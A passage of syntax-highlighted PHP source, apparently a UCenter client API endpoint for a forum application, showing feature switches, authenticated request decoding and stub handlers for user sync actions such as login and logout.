<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'API_UPDATEHOSTS'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//note 更新域名解析缓存 开关</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'API_UPDATEAPPS'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//note 更新应用列表 开关</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'API_UPDATECLIENT'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//note 更新客户端缓存 开关</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'API_UPDATECREDIT'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//note 更新用户积分 开关</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'API_GETCREDITSETTINGS'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//note 向 UCenter 提供积分设置 开关</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'API_GETCREDIT'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//note 获取用户的某项积分 开关</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'API_UPDATECREDITSETTINGS'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>&nbsp; <span style="color: #666666; font-style: italic;">//note 更新应用积分设置 开关</span><br />
<br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'API_RETURN_SUCCEED'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'1'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'API_RETURN_FAILED'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'-1'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'API_RETURN_FORBIDDEN'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'-2'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
<br />
<span style="color: #666666; font-style: italic;">//note 普通的 http 通知方式</span><br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/defined"><span style="color: #990000;">defined</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'IN_UC'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
<br />
&nbsp; &nbsp; <a href="http://www.php.net/error_reporting"><span style="color: #990000;">error_reporting</span></a><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/set_magic_quotes_runtime"><span style="color: #990000;">set_magic_quotes_runtime</span></a><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <a href="http://www.php.net/defined"><span style="color: #990000;">defined</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'MAGIC_QUOTES_GPC'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'MAGIC_QUOTES_GPC'</span><span style="color: #339933;">,</span> <a href="http://www.php.net/get_magic_quotes_gpc"><span style="color: #990000;">get_magic_quotes_gpc</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">require_once</span> <span style="color: #0000ff;">'../config.inc.php'</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000088;">$_DCACHE</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$get</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$post</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000088;">$code</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'code'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/parse_str"><span style="color: #990000;">parse_str</span></a><span style="color: #009900;">&#40;</span>_authcode<span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'DECODE'</span><span style="color: #339933;">,</span> UC_KEY<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$get</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>MAGIC_QUOTES_GPC<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$get</span> <span style="color: #339933;">=</span> _stripslashes<span style="color: #009900;">&#40;</span><span style="color: #000088;">$get</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000088;">$timestamp</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/time"><span style="color: #990000;">time</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$timestamp</span> <span style="color: #339933;">-</span> <span style="color: #000088;">$get</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'time'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">&gt;</span> <span style="color: #cc66cc;">3600</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/exit"><span style="color: #990000;">exit</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Authracation has expiried'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/empty"><span style="color: #990000;">empty</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$get</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/exit"><span style="color: #990000;">exit</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Invalid Request'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$action</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$get</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'action'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #b1b100;">require_once</span> <span style="color: #0000ff;">'../uc_client/lib/xml.class.php'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$post</span> <span style="color: #339933;">=</span> xml_unserialize<span style="color: #009900;">&#40;</span><a href="http://www.php.net/file_get_contents"><span style="color: #990000;">file_get_contents</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'php://input'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/in_array"><span style="color: #990000;">in_array</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$get</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'action'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'test'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'deleteuser'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'renameuser'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'gettag'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'synlogin'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'synlogout'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'updatepw'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'updatebadwords'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'updatehosts'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'updateapps'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'updateclient'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'updatecredit'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'getcreditsettings'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'updatecreditsettings'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">require_once</span> <span style="color: #0000ff;">'../include/db_mysql.class.php'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'db'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> dbstuff<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'db'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">connect</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dbhost</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dbuser</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dbpw</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dbname</span><span style="color: #339933;">,</span> <span style="color: #000088;">$pconnect</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dbcharset</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'tablepre'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$tablepre</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/unset"><span style="color: #990000;">unset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dbhost</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dbuser</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dbpw</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dbname</span><span style="color: #339933;">,</span> <span style="color: #000088;">$pconnect</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$uc_note</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> uc_note<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/exit"><span style="color: #990000;">exit</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$uc_note</span><span style="color: #339933;">-&gt;</span><span style="color: #000088;">$get</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'action'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$get</span><span style="color: #339933;">,</span> <span style="color: #000088;">$post</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/exit"><span style="color: #990000;">exit</span></a><span style="color: #009900;">&#40;</span>API_RETURN_FAILED<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #666666; font-style: italic;">//note include 通知方式</span><br />
<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #b1b100;">require_once</span> <span style="color: #0000ff;">'../config.inc.php'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">require_once</span> <span style="color: #0000ff;">'../include/db_mysql.class.php'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'db'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> dbstuff<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'db'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">connect</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dbhost</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dbuser</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dbpw</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dbname</span><span style="color: #339933;">,</span> <span style="color: #000088;">$pconnect</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dbcharset</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'tablepre'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$tablepre</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/unset"><span style="color: #990000;">unset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dbhost</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dbuser</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dbpw</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dbname</span><span style="color: #339933;">,</span> <span style="color: #000088;">$pconnect</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #000000; font-weight: bold;">class</span> uc_note <span style="color: #009900;">&#123;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$dbconfig</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$db</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$tablepre</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$appdir</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">function</span> _serialize<span style="color: #009900;">&#40;</span><span style="color: #000088;">$arr</span><span style="color: #339933;">,</span> <span style="color: #000088;">$htmlon</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'xml_serialize'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">include_once</span> <span style="color: #0000ff;">'../uc_client/lib/xml.class.php'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> xml_serialize<span style="color: #009900;">&#40;</span><span style="color: #000088;">$arr</span><span style="color: #339933;">,</span> <span style="color: #000088;">$htmlon</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">function</span> uc_note<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">appdir</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/dirname"><span style="color: #990000;">dirname</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">__FILE__</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #339933;">-</span><span style="color: #cc66cc;">3</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">dbconfig</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">appdir</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'./config.inc.php'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">db</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'db'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">tablepre</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'tablepre'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">function</span> test<span style="color: #009900;">&#40;</span><span style="color: #000088;">$get</span><span style="color: #339933;">,</span> <span style="color: #000088;">$post</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> API_RETURN_SUCCEED<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">function</span> deleteuser<span style="color: #009900;">&#40;</span><span style="color: #000088;">$get</span><span style="color: #339933;">,</span> <span style="color: #000088;">$post</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$uids</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$get</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'ids'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #339933;">!</span>API_DELETEUSER <span style="color: #339933;">&amp;&amp;</span> <a href="http://www.php.net/exit"><span style="color: #990000;">exit</span></a><span style="color: #009900;">&#40;</span>API_RETURN_FORBIDDEN<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> API_RETURN_SUCCEED<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">function</span> renameuser<span style="color: #009900;">&#40;</span><span style="color: #000088;">$get</span><span style="color: #339933;">,</span> <span style="color: #000088;">$post</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$uid</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$get</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'uid'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$usernameold</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$get</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'oldusername'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$usernamenew</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$get</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'newusername'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>API_RENAMEUSER<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> API_RETURN_FORBIDDEN<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> API_RETURN_SUCCEED<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">function</span> gettag<span style="color: #009900;">&#40;</span><span style="color: #000088;">$get</span><span style="color: #339933;">,</span> <span style="color: #000088;">$post</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$name</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$get</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>API_GETTAG<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> API_RETURN_FORBIDDEN<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$return</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span>_serialize<span style="color: #009900;">&#40;</span><span style="color: #000088;">$return</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">function</span> synlogin<span style="color: #009900;">&#40;</span><span style="color: #000088;">$get</span><span style="color: #339933;">,</span> <span style="color: #000088;">$post</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$uid</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$get</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'uid'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$username</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$get</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'username'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>API_SYNLOGIN<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> API_RETURN_FORBIDDEN<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'P3P: CP=&quot;CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR&quot;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; _setcookie<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Example_auth'</span><span style="color: #339933;">,</span> _authcode<span style="color: #009900;">&#40;</span><span style="color: #000088;">$uid</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\t</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$username</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'ENCODE'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">function</span> synlogout<span style="color: #009900;">&#40;</span><span style="color: #000088;">$get</span><span style="color: #339933;">,</span> <span style="color: #000088;">$post</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>API_SYNLOGOUT<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> API_RETURN_FORBIDDEN<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
